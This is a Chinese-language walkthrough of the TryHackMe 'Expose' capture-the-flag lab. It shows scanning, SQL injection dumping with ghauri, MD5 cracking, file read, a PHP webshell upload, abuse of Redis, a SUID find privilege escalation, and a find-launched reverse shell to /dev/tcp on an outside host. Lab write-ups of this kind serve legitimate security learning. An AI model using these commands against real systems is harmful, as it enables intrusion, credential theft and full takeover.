- 难度 : Easy
- 靶场 : TryHackMe [Expose]
- 类型 : 综合渗透
User Flag
首先进行端口扫描,实测 TOP1000 扫不全,需要扫描全端口,全端口我比较喜欢用 rustscan 扫描, nmap 扫起来太慢了。
rustscan --ulimit 5000 -a 10.201.28.221 -- -Pn
发现 1337 和 1883 两个可以端口,重新用 nmap 扫描看一下。
nmap -Pn -sT -sV -sC 10.201.28.221 -p 1337,1883
发现 1337 端口是 http 服务,打开一看,是个静态页面,一看就是要扫目录。
./spray -d DIR.txt -u http://10.201.28.221:1337/
扫出了几个可疑目录,先访问 /admin
,发现是个假页面,甚至连点击登录都没有发出请求。
继续访问 /admin_101
,发现应该是可以发出请求交互的,抓包分析登录接口。
推测 email 参数应该是存在注入的,可以直接丢给 ghauri 。
将请求保存成一个 txt 文件,将 email 字段改成 *
号。
POST /admin_101/includes/user_login.php HTTP/1.1
Host: 10.201.28.221:1337
Content-Length: 39
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.201.28.221:1337
Referer: http://10.201.28.221:1337/admin_101/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=qct3umv7dclm1dk4r3tgjk16j9
Connection: keep-alive
email=*&password=123456
ghauri -r test.txt --dbs
ghauri -r test.txt -D expose --tables
ghauri -r test.txt -D expose -T user --dump
ghauri -r test.txt -D expose -T config --dump
成功 dump 出 user 和 config 两张表。
使用用户名 hacker@root.thm
和密码 VeryDifficultPassword!!#@#@!#!@#1231
登录账号,发现又是一个静态页面,没有什么有用的信息。
根据 config 表提供的数据,访问 /file1010111/index.php
,发现页面需要密码访问。
密码 69c66901194a6486176e81f5945b8929 应该是 MD5 加密,前往 CMD5 查询彩虹表。
得到密码 easytohack ,访问网站,发现还是个提示页面,直接抓包分析。
提示使用 GET 参数 file ,重新进行请求,也许可以实现任意文件读取。
成功读取到
/etc/passwd
内容,不过这里我用 PHP 伪协议没有实现 GetShell ,只能用来查查文件内容。
先把这个漏洞放在一边,访问 config 表中的第二个路径 /upload-cv00101011/index.php
。
也是需要密码访问,提示需要以 z 开头的服务器用户名作为密码,刚好刚才读取到了 /etc/passwd
,得到一个用户 zeamkish ,输入用户名成功登录。
是一个上传接口,此处上传绕过比较简单,抓包改后缀即可上传一句话木马。
上传完成后关注一下响应包,发现上传地址位于 /upload-cv00101011/upload_thm_1001/shell.php
,用 Godzilla 生成的木马可以直接连接。
成功拿到用户 www-data 的 shell ,继续收集信息,发现路径 /home/zeamkish/ssh_creds.txt
可以直接访问。
cat /home/zeamkish/ssh_creds.txt
查看该文件,发现内容是用户 zeamkish 的登录账号,密码 easytohack@123 ,用 SSH 成功登录。
在用户目录下发现 flag.txt ,成功拿到 User Flag 。
Root Flag
使用 linpeas.sh 收集信息。
bash linpeas.sh
首先查看开启了哪些服务,发现存在 Redis ,将 1111 端口转发到本机。
ssh -L 1111:127.0.0.1:1111 zeamkish@10.201.28.221 -N
在本机连接 1111 端口,发现存在 Redis 未授权,可以直接连接成功。
尝试往 /root/.ssh
文件夹中写入密钥。
config set dir /root/.ssh
提示 Permission Denied ,提权失败。
继续查看收集到的信息,发现可以列出 /root
文件夹下的文件,而正常使用 ls /root
,是完全无法列出的。
搜索一下 linpeas.sh 这个模块是如何实现的,发现调用的是 find
命令。
实际这个 find 命令的权限也是很可疑的。
事实上,可以直接通过 find 命令读取到 root 的 flag 文件。
find /usr/bin/find -exec cat /root/flag.txt \;
但正常解法应该是先拿到 root 的 shell 再查看 flag 文件,尝试通过该命令提权。
find /etc/passwd -exec bash -ip >& /dev/tcp/10.13.91.125/9997 0>&1 \;
这样就拿到了 root 的 shell ,成功得到 Root Flag 。
评论